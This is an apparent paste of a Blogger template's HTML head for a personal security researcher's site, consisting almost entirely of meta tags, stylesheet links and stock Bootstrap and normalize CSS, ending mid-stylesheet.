· 7 years ago · Jan 19, 2019, 07:52 AM
1<!DOCTYPE html>
2<html xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
3<head>
4<link href='https://www.blogger.com/static/v1/widgets/254310735-widget_css_bundle.css' rel='stylesheet' type='text/css'/>
5<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
6<meta content='blogger' name='generator'/>
7<link href='https://www.shawarkhan.com/favicon.ico' rel='icon' type='image/x-icon'/>
8<link href='https://www.shawarkhan.com/' rel='canonical'/>
9<link rel="alternate" type="application/atom+xml" title="Shawar Khan - Atom" href="https://www.shawarkhan.com/feeds/posts/default" />
10<link rel="alternate" type="application/rss+xml" title="Shawar Khan - RSS" href="https://www.shawarkhan.com/feeds/posts/default?alt=rss" />
11<link rel="service.post" type="application/atom+xml" title="Shawar Khan - Atom" href="https://www.blogger.com/feeds/6813541491029333765/posts/default" />
12<!--Can't find substitution for tag [blog.ieCssRetrofitLinks]-->
13<meta content='https://www.shawarkhan.com/' property='og:url'/>
14<meta content='Shawar Khan' property='og:title'/>
15<meta content='Just a guy who breaks into web like a .357 bullet' property='og:description'/>
16<!--[if IE]> <script> (function() { var html5 = ("abbr,article,aside,audio,canvas,datalist,details," + "figure,footer,header,hgroup,mark,menu,meter,nav,output," + "progress,section,time,video").split(','); for (var i = 0; i < html5.length; i++) { document.createElement(html5[i]); } try { document.execCommand('BackgroundImageCache', false, true); } catch(e) {} })(); </script> <![endif]-->
17<title>
18Shawar Khan
19</title>
20<!-- Meta Tags ~ www.Templateclue.com -->
21<meta charset='UTF-8'/>
22<meta content='width=device-width, initial-scale=1, maximum-scale=1' name='viewport'/>
23<!-- /Meta Tags ~ -->
24<!-- JS Files -->
25<script src="//ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js" type="text/javascript"></script>
26<script src=''></script>
27<!-- CSS Files -->
28<link href='https://cdn.linearicons.com/free/1.0.0/icon-font.min.css' rel='stylesheet'/>
29<link href='//maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css' rel='stylesheet'/>
30<!-- Google Fonts -->
31<link href="//fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css">
32<link href="//fonts.googleapis.com/css?family=Raleway:400,600" rel="stylesheet" type="text/css">
33<style id='page-skin-1' type='text/css'><!--
34/*
35*/
36/*****************************************
37reset.css
38******************************************/
39/*! * Bootstrap v3.1.0 (http://getbootstrap.com) * Copyright 2011-2014 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */ /*! normalize.css v3.0.0 | MIT License | git.io/normalize */ html { font-family: sans-serif; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; } body { margin: 0; } article, aside, details, figcaption, figure, footer, header, hgroup, main, nav, section, summary { display: block; } audio, canvas, progress, video { display: inline-block; vertical-align: baseline; } audio:not([controls]) { display: none; height: 0; } [hidden], template { display: none; } a { background: transparent; } a:active, a:hover { outline: 0; } abbr[title] { border-bottom: 1px dotted; } b, strong { font-weight: bold; } dfn { font-style: italic; } h1 { margin: .67em 0; font-size: 2em; } mark { color: #000; background: #ff0; } small { font-size: 80%; } sub, sup { position: relative; font-size: 75%; line-height: 0; vertical-align: baseline; } sup { top: -.5em; } sub { bottom: -.25em; } img { border: 0; } svg:not(:root) { overflow: hidden; } figure { margin: 1em 40px; } hr { height: 0; -moz-box-sizing: content-box; box-sizing: content-box; } pre { overflow: auto; } code, kbd, pre, samp { font-family: monospace, monospace; font-size: 1em; } button, input, optgroup, select, textarea { margin: 0; font: inherit; color: inherit; } button { overflow: visible; } button, select { text-transform: none; } button, html input[type="button"], input[type="reset"], input[type="submit"] { -webkit-appearance: button; cursor: pointer; } button[disabled], html input[disabled] { cursor: default; } button::-moz-focus-inner, input::-moz-focus-inner { padding: 0; border: 0; } input { line-height: normal; } input[type="checkbox"], input[type="radio"] { box-sizing: border-box; padding: 0; } input[type="number"]::-webkit-inner-spin-button, input[type="number"]::-webkit-outer-spin-button { height: auto; } input[type="search"] { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; -webkit-appearance: textfield; } input[type="search"]::-webkit-search-cancel-button, input[type="search"]::-webkit-search-decoration { -webkit-appearance: none; } fieldset { padding: .35em .625em .75em; margin: 0 2px; border: 1px solid #c0c0c0; } legend { padding: 0; border: 0; } textarea { overflow: auto; } optgroup { font-weight: bold; } table { border-spacing: 0; border-collapse: collapse; } td, th { padding: 0; } @media print { * { color: #000 !important; text-shadow: none !important; background: transparent !important; box-shadow: none !important; } a, a:visited { text-decoration: underline; } a[href]:after { content: " (" attr(href) ")"; } abbr[title]:after { content: " (" attr(title) ")"; } a[href^="javascript:"]:after, a[href^="#"]:after { content: ""; } pre, blockquote { border: 1px solid #999; page-break-inside: avoid; } thead { display: table-header-group; } tr, img { page-break-inside: avoid; } img { max-width: 100% !important; } p, h2, h3 { orphans: 3; widows: 3; } h2, h3 { page-break-after: avoid; } select { background: #fff !important; } .navbar { display: none; } .table td, .table th { background-color: #fff !important; } .btn > .caret, .dropup > .btn > .caret { border-top-color: #000 !important; } .label { border: 1px solid #000; } .table { border-collapse: collapse !important; } .table-bordered th, .table-bordered td { border: 1px solid #ddd !important; } } * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } *:before, *:after { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } html { font-size: 62.5%; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); } body { font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #fff; } input, button, select, textarea { font-family: inherit; font-size: inherit; line-height: inherit; } a { color: #428bca; text-decoration: none; } a:hover, a:focus { color: #2a6496; text-decoration: underline; } a:focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } figure { margin: 0; } img { vertical-align: middle; } .img-responsive { display: block; max-width: 100%; height: auto; } .img-rounded { border-radius: 6px; } .img-thumbnail { display: inline-block; max-width: 100%; height: auto; padding: 4px; line-height: 1.428571429; background-color: #fff; border: 1px solid #ddd; border-radius: 4px; -webkit-transition: all .2s ease-in-out; transition: all .2s ease-in-out; } .img-circle { border-radius: 50%; } hr { margin-top: 20px; margin-bottom: 20px; border: 0; border-top: 1px solid #eee; } .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; margin: -1px; overflow: hidden; clip: rect(0, 0, 0, 0); border: 0; } h1, h2, h3, h4, h5, h6, .h1, .h2, .h3, .h4, .h5, .h6 { font-family: inherit; font-weight: 500; line-height: 1.1; color: inherit; } h1 small, h2 small, h3 small, h4 small, h5 small, h6 small, .h1 small, .h2 small, .h3 small, .h4 small, .h5 small, .h6 small, h1 .small, h2 .small, h3 .small, h4 .small, h5 .small, h6 .small, .h1 .small, .h2 .small, .h3 .small, .h4 .small, .h5 .small, .h6 .small { font-weight: normal; line-height: 1; color: #999; } h1, .h1, h2, .h2, h3, .h3 { margin-top: 20px; margin-bottom: 10px; } h1 small, .h1 small, h2 small, .h2 small, h3 small, .h3 small, h1 .small, .h1 .small, h2 .small, .h2 .small, h3 .small, .h3 .small { font-size: 65%; } h4, .h4, h5, .h5, h6, .h6 { margin-top: 10px; margin-bottom: 10px; } h4 small, .h4 small, h5 small, .h5 small, h6 small, .h6 small, h4 .small, .h4 .small, h5 .small, .h5 .small, h6 .small, .h6 .small { font-size: 75%; } h1, .h1 { font-size: 36px; } h2, .h2 { font-size: 30px; } h3, .h3 { font-size: 24px; } h4, .h4 { font-size: 18px; } h5, .h5 { font-size: 14px; } h6, .h6 { font-size: 12px; } p { margin: 0 0 10px; } .lead { margin-bottom: 20px; font-size: 16px; font-weight: 200; line-height: 1.4; } @media (min-width: 768px) { .lead { font-size: 21px; } } small, .small { font-size: 85%; } cite { font-style: normal; } .text-left { text-align: left; } .text-right { text-align: right; } .text-center { text-align: center; } .text-justify { text-align: justify; } .text-muted { color: #999; } .text-primary { color: #428bca; } a.text-primary:hover { color: #3071a9; } .text-success { color: #3c763d; } a.text-success:hover { color: #2b542c; } .text-info { color: #31708f; } a.text-info:hover { color: #245269; } .text-warning { color: #8a6d3b; } a.text-warning:hover { color: #66512c; } .text-danger { color: #a94442; } a.text-danger:hover { color: #843534; } .bg-primary { color: #fff; background-color: #428bca; } a.bg-primary:hover { background-color: #3071a9; } .bg-success { background-color: #dff0d8; } a.bg-success:hover { background-color: #c1e2b3; } .bg-info { background-color: #d9edf7; } a.bg-info:hover { background-color: #afd9ee; } .bg-warning { background-color: #fcf8e3; } a.bg-warning:hover { background-color: #f7ecb5; } .bg-danger { background-color: #f2dede; } a.bg-danger:hover { background-color: #e4b9b9; } .page-header { padding-bottom: 9px; margin: 40px 0 20px; border-bottom: 1px solid #eee; } ul, ol { margin-top: 0; margin-bottom: 10px; } ul ul, ol ul, ul ol, ol ol { margin-bottom: 0; } .list-unstyled { padding-left: 0; list-style: none; } .list-inline { padding-left: 0; list-style: none; } .list-inline > li { display: inline-block; padding-right: 5px; padding-left: 5px; } .list-inline > li:first-child { padding-left: 0; } dl { margin-top: 0; margin-bottom: 20px; } dt, dd { line-height: 1.428571429; } dt { font-weight: bold; } dd { margin-left: 0; } @media (min-width: 768px) { .dl-horizontal dt { float: left; width: 160px; overflow: hidden; clear: left; text-align: right; text-overflow: ellipsis; white-space: nowrap; } .dl-horizontal dd { margin-left: 180px; } } abbr[title], abbr[data-original-title] { cursor: help; border-bottom: 1px dotted #999; } .initialism { font-size: 90%; text-transform: uppercase; } blockquote { padding: 10px 20px; margin: 0 0 20px; font-size: 17.5px; border-left: 5px solid #eee; } blockquote p:last-child, blockquote ul:last-child, blockquote ol:last-child { margin-bottom: 0; } blockquote footer, blockquote small, blockquote .small { display: block; font-size: 80%; line-height: 1.428571429; color: #999; } blockquote footer:before, blockquote small:before, blockquote .small:before { content: '\2014 \00A0'; } .blockquote-reverse, blockquote.pull-right { padding-right: 15px; padding-left: 0; text-align: right; border-right: 5px solid #eee; border-left: 0; } .blockquote-reverse footer:before, blockquote.pull-right footer:before, .blockquote-reverse small:before, blockquote.pull-right small:before, .blockquote-reverse .small:before, blockquote.pull-right .small:before { content: ''; } .blockquote-reverse footer:after, blockquote.pull-right footer:after, .blockquote-reverse small:after, blockquote.pull-right small:after, .blockquote-reverse .small:after, blockquote.pull-right .small:after { content: '\00A0 \2014'; } blockquote:before, blockquote:after { content: ""; } address { margin-bottom: 20px; font-style: normal; line-height: 1.428571429; } code, kbd, pre, samp { font-family: Menlo, Monaco, Consolas, "Courier New", monospace; } code { padding: 2px 4px; font-size: 90%; color: #c7254e; white-space: nowrap; background-color: #f9f2f4; border-radius: 4px; } kbd { padding: 2px 4px; font-size: 90%; color: #fff; background-color: #333; border-radius: 3px; box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25); } pre { display: block; padding: 9.5px; margin: 0 0 10px; font-size: 13px; line-height: 1.428571429; color: #333; word-break: break-all; word-wrap: break-word; background-color: #f5f5f5; border: 1px solid #ccc; border-radius: 4px; } pre code { padding: 0; font-size: inherit; color: inherit; white-space: pre-wrap; background-color: transparent; border-radius: 0; } .pre-scrollable { max-height: 340px; overflow-y: scroll; } .container { padding-right: 15px; padding-left: 15px; margin-right: auto; margin-left: auto; } @media (min-width: 768px) { .container { width: 750px; } } @media (min-width: 992px) { .container { width: 960px; } } @media (min-width: 1200px) { .container { width: 1170px; } } .container-fluid { margin-right: auto; margin-left: auto; } .col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 { position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; } .col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 { float: left; } .col-xs-12 { width: 100%; } .col-xs-11 { width: 91.66666666666666%; } .col-xs-10 { width: 83.33333333333334%; } .col-xs-9 { width: 75%; } .col-xs-8 { width: 66.66666666666666%; } .col-xs-7 { width: 58.333333333333336%; } .col-xs-6 { width: 50%; } .col-xs-5 { width: 41.66666666666667%; } .col-xs-4 { width: 33.33333333333333%; } .col-xs-3 { width: 25%; } .col-xs-2 { width: 16.666666666666664%; } .col-xs-1 { width: 8.333333333333332%; } .col-xs-pull-12 { right: 100%; } .col-xs-pull-11 { right: 91.66666666666666%; } .col-xs-pull-10 { right: 83.33333333333334%; } .col-xs-pull-9 { right: 75%; } .col-xs-pull-8 { right: 66.66666666666666%; } .col-xs-pull-7 { right: 58.333333333333336%; } .col-xs-pull-6 { right: 50%; } .col-xs-pull-5 { right: 41.66666666666667%; } .col-xs-pull-4 { right: 33.33333333333333%; } .col-xs-pull-3 { right: 25%; } .col-xs-pull-2 { right: 16.666666666666664%; } .col-xs-pull-1 { right: 8.333333333333332%; } .col-xs-pull-0 { right: 0; } .col-xs-push-12 { left: 100%; } .col-xs-push-11 { left: 91.66666666666666%; } .col-xs-push-10 { left: 83.33333333333334%; } .col-xs-push-9 { left: 75%; } .col-xs-push-8 { left: 66.66666666666666%; } .col-xs-push-7 { left: 58.333333333333336%; } .col-xs-push-6 { left: 50%; } .col-xs-push-5 { left: 41.66666666666667%; } .col-xs-push-4 { left: 33.33333333333333%; } .col-xs-push-3 { left: 25%; } .col-xs-push-2 { left: 16.666666666666664%; } .col-xs-push-1 { left: 8.333333333333332%; } .col-xs-push-0 { left: 0; } .col-xs-offset-12 { margin-left: 100%; } .col-xs-offset-11 { margin-left: 91.66666666666666%; } .col-xs-offset-10 { margin-left: 83.33333333333334%; } .col-xs-offset-9 { margin-left: 75%; } .col-xs-offset-8 { margin-left: 66.66666666666666%; } .col-xs-offset-7 { margin-left: 58.333333333333336%; } .col-xs-offset-6 { margin-left: 50%; } .col-xs-offset-5 { margin-left: 41.66666666666667%; } .col-xs-offset-4 { margin-left: 33.33333333333333%; } .col-xs-offset-3 { margin-left: 25%; } .col-xs-offset-2 { margin-left: 16.666666666666664%; } .col-xs-offset-1 { margin-left: 8.333333333333332%; } .col-xs-offset-0 { margin-left: 0; } @media (min-width: 768px) { .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 { float: left; } .col-sm-12 { width: 100%; } .col-sm-11 { width: 91.66666666666666%; } .col-sm-10 { width: 83.33333333333334%; } .col-sm-9 { width: 75%; } .col-sm-8 { width: 66.66666666666666%; } .col-sm-7 { width: 58.333333333333336%; } .col-sm-6 { width: 50%; } .col-sm-5 { width: 41.66666666666667%; } .col-sm-4 { width: 33.33333333333333%; } .col-sm-3 { width: 25%; } .col-sm-2 { width: 16.666666666666664%; } .col-sm-1 { width: 8.333333333333332%; } .col-sm-pull-12 { right: 100%; } .col-sm-pull-11 { right: 91.66666666666666%; } .col-sm-pull-10 { right: 83.33333333333334%; } .col-sm-pull-9 { right: 75%; } .col-sm-pull-8 { right: 66.66666666666666%; } .col-sm-pull-7 { right: 58.333333333333336%; } .col-sm-pull-6 { right: 50%; } .col-sm-pull-5 { right: 41.66666666666667%; } .col-sm-pull-4 { right: 33.33333333333333%; } .col-sm-pull-3 { right: 25%; } .col-sm-pull-2 { right: 16.666666666666664%; } .col-sm-pull-1 { right: 8.333333333333332%; } .col-sm-pull-0 { right: 0; } .col-sm-push-12 { left: 100%; } .col-sm-push-11 { left: 91.66666666666666%; } .col-sm-push-10 { left: 83.33333333333334%; } .col-sm-push-9 { left: 75%; } .col-sm-push-8 { left: 66.66666666666666%; } .col-sm-push-7 { left: 58.333333333333336%; } .col-sm-push-6 { left: 50%; } .col-sm-push-5 { left: 41.66666666666667%; } .col-sm-push-4 { left: 33.33333333333333%; } .col-sm-push-3 { left: 25%; } .col-sm-push-2 { left: 16.666666666666664%; } .col-sm-push-1 { left: 8.333333333333332%; } .col-sm-push-0 { left: 0; } .col-sm-offset-12 { margin-left: 100%; } .col-sm-offset-11 { margin-left: 91.66666666666666%; } .col-sm-offset-10 { margin-left: 83.33333333333334%; } .col-sm-offset-9 { margin-left: 75%; } .col-sm-offset-8 { margin-left: 66.66666666666666%; } .col-sm-offset-7 { margin-left: 58.333333333333336%; } .col-sm-offset-6 { margin-left: 50%; } .col-sm-offset-5 { margin-left: 41.66666666666667%; } .col-sm-offset-4 { margin-left: 33.33333333333333%; } .col-sm-offset-3 { margin-left: 25%; } .col-sm-offset-2 { margin-left: 16.666666666666664%; } .col-sm-offset-1 { margin-left: 8.333333333333332%; } .col-sm-offset-0 { margin-left: 0; } } @media (min-width: 992px) { .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 { float: left; } .col-md-12 { width: 100%; } .col-md-11 { width: 91.66666666666666%; } .col-md-10 { width: 83.33333333333334%; } .col-md-9 { width: 75%; } .col-md-8 { width: 66.66666666666666%; } .col-md-7 { width: 58.333333333333336%; } .col-md-6 { width: 50%; } .col-md-5 { width: 41.66666666666667%; } .col-md-4 { width: 33.33333333333333%; } .col-md-3 { width: 25%; } .col-md-2 { width: 16.666666666666664%; } .col-md-1 { width: 8.333333333333332%; } .col-md-pull-12 { right: 100%; } .col-md-pull-11 { right: 91.66666666666666%; } .col-md-pull-10 { right: 83.33333333333334%; } .col-md-pull-9 { right: 75%; } .col-md-pull-8 { right: 66.66666666666666%; } .col-md-pull-7 { right: 58.333333333333336%; } .col-md-pull-6 { right: 50%; } .col-md-pull-5 { right: 41.66666666666667%; } .col-md-pull-4 { right: 33.33333333333333%; } .col-md-pull-3 { right: 25%; } .col-md-pull-2 { right: 16.666666666666664%; } .col-md-pull-1 { right: 8.333333333333332%; } .col-md-pull-0 { right: 0; } .col-md-push-12 { left: 100%; } .col-md-push-11 { left: 91.66666666666666%; } .col-md-push-10 { left: 83.33333333333334%; } .col-md-push-9 { left: 75%; } .col-md-push-8 { left: 66.66666666666666%; } .col-md-push-7 { left: 58.333333333333336%; } .col-md-push-6 { left: 50%; } .col-md-push-5 { left: 41.66666666666667%; } .col-md-push-4 { left: 33.33333333333333%; } .col-md-push-3 { left: 25%; } .col-md-push-2 { left: 16.666666666666664%; } .col-md-push-1 { left: 8.333333333333332%; } .col-md-push-0 { left: 0; } .col-md-offset-12 { margin-left: 100%; } .col-md-offset-11 { margin-left: 91.66666666666666%; } .col-md-offset-10 { margin-left: 83.33333333333334%; } .col-md-offset-9 { margin-left: 75%; } .col-md-offset-8 { margin-left: 66.66666666666666%; } .col-md-offset-7 { margin-left: 58.333333333333336%; } .col-md-offset-6 { margin-left: 50%; } .col-md-offset-5 { margin-left: 41.66666666666667%; } .col-md-offset-4 { margin-left: 33.33333333333333%; } .col-md-offset-3 { margin-left: 25%; } .col-md-offset-2 { margin-left: 16.666666666666664%; } .col-md-offset-1 { margin-left: 8.333333333333332%; } .col-md-offset-0 { margin-left: 0; } } @media (min-width: 1200px) { .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 { float: left; } .col-lg-12 { width: 100%; } .col-lg-11 { width: 91.66666666666666%; } .col-lg-10 { width: 83.33333333333334%; } .col-lg-9 { width: 75%; } .col-lg-8 { width: 66.66666666666666%; } .col-lg-7 { width: 58.333333333333336%; } .col-lg-6 { width: 50%; } .col-lg-5 { width: 41.66666666666667%; } .col-lg-4 { width: 33.33333333333333%; } .col-lg-3 { width: 25%; } .col-lg-2 { width: 16.666666666666664%; } .col-lg-1 { width: 8.333333333333332%; } .col-lg-pull-12 { right: 100%; } .col-lg-pull-11 { right: 91.66666666666666%; } .col-lg-pull-10 { right: 83.33333333333334%; } .col-lg-pull-9 { right: 75%; } .col-lg-pull-8 { right: 66.66666666666666%; } .col-lg-pull-7 { right: 58.333333333333336%; } .col-lg-pull-6 { right: 50%; } .col-lg-pull-5 { right: 41.66666666666667%; } .col-lg-pull-4 { right: 33.33333333333333%; } .col-lg-pull-3 { right: 25%; } .col-lg-pull-2 { right: 16.666666666666664%; } .col-lg-pull-1 { right: 8.333333333333332%; } .col-lg-pull-0 { right: 0; } .col-lg-push-12 { left: 100%; } .col-lg-push-11 { left: 91.66666666666666%; } .col-lg-push-10 { left: 83.33333333333334%; } .col-lg-push-9 { left: 75%; } .col-lg-push-8 { left: 66.66666666666666%; } .col-lg-push-7 { left: 58.333333333333336%; } .col-lg-push-6 { left: 50%; } .col-lg-push-5 { left: 41.66666666666667%; } .col-lg-push-4 { left: 33.33333333333333%; } .col-lg-push-3 { left: 25%; } .col-lg-push-2 { left: 16.666666666666664%; } .col-lg-push-1 { left: 8.333333333333332%; } .col-lg-push-0 { left: 0; } .col-lg-offset-12 { margin-left: 100%; } .col-lg-offset-11 { margin-left: 91.66666666666666%; } .col-lg-offset-10 { margin-left: 83.33333333333334%; } .col-lg-offset-9 { margin-left: 75%; } .col-lg-offset-8 { margin-left: 66.66666666666666%; } .col-lg-offset-7 { margin-left: 58.333333333333336%; } .col-lg-offset-6 { margin-left: 50%; } .col-lg-offset-5 { margin-left: 41.66666666666667%; } .col-lg-offset-4 { margin-left: 33.33333333333333%; } .col-lg-offset-3 { margin-left: 25%; } .col-lg-offset-2 { margin-left: 16.666666666666664%; } .col-lg-offset-1 { margin-left: 8.333333333333332%; } .col-lg-offset-0 { margin-left: 0; } } table { max-width: 100%; background-color: transparent; } th { text-align: left; } .table { width: 100%; margin-bottom: 20px; } .table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td { padding: 8px; line-height: 1.428571429; vertical-align: top; border-top: 1px solid #ddd; } .table > thead > tr > th { vertical-align: bottom; border-bottom: 2px solid #ddd; } .table > caption + thead > tr:first-child > th, .table > colgroup + thead > tr:first-child > th, .table > thead:first-child > tr:first-child > th, .table > caption + thead > tr:first-child > td, .table > colgroup + thead > tr:first-child > td, .table > thead:first-child > tr:first-child > td { border-top: 0; } .table > tbody + tbody { border-top: 2px solid #ddd; } .table .table { background-color: #fff; } .table-condensed > thead > tr > th, .table-condensed > tbody > tr > th, .table-condensed > tfoot > tr > th, .table-condensed > thead > tr > td, .table-condensed > tbody > tr > td, .table-condensed > tfoot > tr > td { padding: 5px; } .table-bordered { border: 1px solid #ddd; } .table-bordered > thead > tr > th, .table-bordered > tbody > tr > th, .table-bordered > tfoot > tr > th, .table-bordered > thead > tr > td, .table-bordered > tbody > tr > td, .table-bordered > tfoot > tr > td { border: 1px solid #ddd; } .table-bordered > thead > tr > th, .table-bordered > thead > tr > td { border-bottom-width: 2px; } .table-striped > tbody > tr:nth-child(odd) > td, .table-striped > tbody > tr:nth-child(odd) > th { background-color: #f9f9f9; } .table-hover > tbody > tr:hover > td, .table-hover > tbody > tr:hover > th { background-color: #f5f5f5; } table col[class*="col-"] { position: static; display: table-column; float: none; } table td[class*="col-"], table th[class*="col-"] { position: static; display: table-cell; float: none; } .table > thead > tr > td.active, .table > tbody > tr > td.active, .table > tfoot > tr > td.active, .table > thead > tr > th.active, .table > tbody > tr > th.active, .table > tfoot > tr > th.active, .table > thead > tr.active > td, .table > tbody > tr.active > td, .table > tfoot > tr.active > td, .table > thead > tr.active > th, .table > tbody > tr.active > th, .table > tfoot > tr.active > th { background-color: #f5f5f5; } .table-hover > tbody > tr > td.active:hover, .table-hover > tbody > tr > th.active:hover, .table-hover > tbody > tr.active:hover > td, .table-hover > tbody > tr.active:hover > th { background-color: #e8e8e8; } .table > thead > tr > td.success, .table > tbody > tr > td.success, .table > tfoot > tr > td.success, .table > thead > tr > th.success, .table > tbody > tr > th.success, .table > tfoot > tr > th.success, .table > thead > tr.success > td, .table > tbody > tr.success > td, .table > tfoot > tr.success > td, .table > thead > tr.success > th, .table > tbody > tr.success > th, .table > tfoot > tr.success > th { background-color: #dff0d8; } .table-hover > tbody > tr > td.success:hover, .table-hover > tbody > tr > th.success:hover, .table-hover > tbody > tr.success:hover > td, .table-hover > tbody > tr.success:hover > th { background-color: #d0e9c6; } .table > thead > tr > td.info, .table > tbody > tr > td.info, .table > tfoot > tr > td.info, .table > thead > tr > th.info, .table > tbody > tr > th.info, .table > tfoot > tr > th.info, .table > thead > tr.info > td, .table > tbody > tr.info > td, .table > tfoot > tr.info > td, .table > thead > tr.info > th, .table > tbody > tr.info > th, .table > tfoot > tr.info > th { background-color: #d9edf7; } .table-hover > tbody > tr > td.info:hover, .table-hover > tbody > tr > th.info:hover, .table-hover > tbody > tr.info:hover > td, .table-hover > tbody > tr.info:hover > th { background-color: #c4e3f3; } .table > thead > tr > td.warning, .table > tbody > tr > td.warning, .table > tfoot > tr > td.warning, .table > thead > tr > th.warning, .table > tbody > tr > th.warning, .table > tfoot > tr > th.warning, .table > thead > tr.warning > td, .table > tbody > tr.warning > td, .table > tfoot > tr.warning > td, .table > thead > tr.warning > th, .table > tbody > tr.warning > th, .table > tfoot > tr.warning > th { background-color: #fcf8e3; } .table-hover > tbody > tr > td.warning:hover, .table-hover > tbody > tr > th.warning:hover, .table-hover > tbody > tr.warning:hover > td, .table-hover > tbody > tr.warning:hover > th { background-color: #faf2cc; } .table > thead > tr > td.danger, .table > tbody > tr > td.danger, .table > tfoot > tr > td.danger, .table > thead > tr > th.danger, .table > tbody > tr > th.danger, .table > tfoot > tr > th.danger, .table > thead > tr.danger > td, .table > tbody > tr.danger > td, .table > tfoot > tr.danger > td, .table > thead > tr.danger > th, .table > tbody > tr.danger > th, .table > tfoot > tr.danger > th { background-color: #f2dede; } .table-hover > tbody > tr > td.danger:hover, .table-hover > tbody > tr > th.danger:hover, .table-hover > tbody > tr.danger:hover > td, .table-hover > tbody > tr.danger:hover > th { background-color: #ebcccc; } @media (max-width: 767px) { .table-responsive { width: 100%; margin-bottom: 15px; overflow-x: scroll; overflow-y: hidden; -webkit-overflow-scrolling: touch; -ms-overflow-style: -ms-autohiding-scrollbar; border: 1px solid #ddd; } .table-responsive > .table { margin-bottom: 0; } .table-responsive > .table > thead > tr > th, .table-responsive > .table > tbody > tr > th, .table-responsive > .table > tfoot > tr > th, .table-responsive > .table > thead > tr > td, .table-responsive > .table > tbody > tr > td, .table-responsive > .table > tfoot > tr > td { white-space: nowrap; } .table-responsive > .table-bordered { border: 0; } .table-responsive > .table-bordered > thead > tr > th:first-child, .table-responsive > .table-bordered > tbody > tr > th:first-child, .table-responsive > .table-bordered > tfoot > tr > th:first-child, .table-responsive > .table-bordered > thead > tr > td:first-child, .table-responsive > .table-bordered > tbody > tr > td:first-child, .table-responsive > .table-bordered > tfoot > tr > td:first-child { border-left: 0; } .table-responsive > .table-bordered > thead > tr > th:last-child, .table-responsive > .table-bordered > tbody > tr > th:last-child, .table-responsive > .table-bordered > tfoot > tr > th:last-child, .table-responsive > .table-bordered > thead > tr > td:last-child, .table-responsive > .table-bordered > tbody > tr > td:last-child, .table-responsive > .table-bordered > tfoot > tr > td:last-child { border-right: 0; } .table-responsive > .table-bordered > tbody > tr:last-child > th, .table-responsive > .table-bordered > tfoot > tr:last-child > th, .table-responsive > .table-bordered > tbody > tr:last-child > td, .table-responsive > .table-bordered > tfoot > tr:last-child > td { border-bottom: 0; } } fieldset { min-width: 0; padding: 0; margin: 0; border: 0; } legend { display: block; width: 100%; padding: 0; margin-bottom: 20px; font-size: 21px; line-height: inherit; color: #333; border: 0; border-bottom: 1px solid #e5e5e5; } label { display: inline-block; margin-bottom: 5px; font-weight: bold; } input[type="search"] { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } input[type="radio"], input[type="checkbox"] { margin: 4px 0 0; margin-top: 1px \9; /* IE8-9 */ line-height: normal; } input[type="file"] { display: block; } input[type="range"] { display: block; width: 100%; } select[multiple], select[size] { height: auto; } input[type="file"]:focus, input[type="radio"]:focus, input[type="checkbox"]:focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } output { display: block; padding-top: 7px; font-size: 14px; line-height: 1.428571429; color: #555; } .form-control { display: block; width: 100%; height: 34px; padding: 6px 12px; font-size: 14px; line-height: 1.428571429; color: #555; background-color: #fff; background-image: none; border: 1px solid #ccc; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); -webkit-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; } .form-control:focus { border-color: #66afe9; outline: 0; -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); } .form-control:-moz-placeholder { color: #999; } .form-control::-moz-placeholder { color: #999; 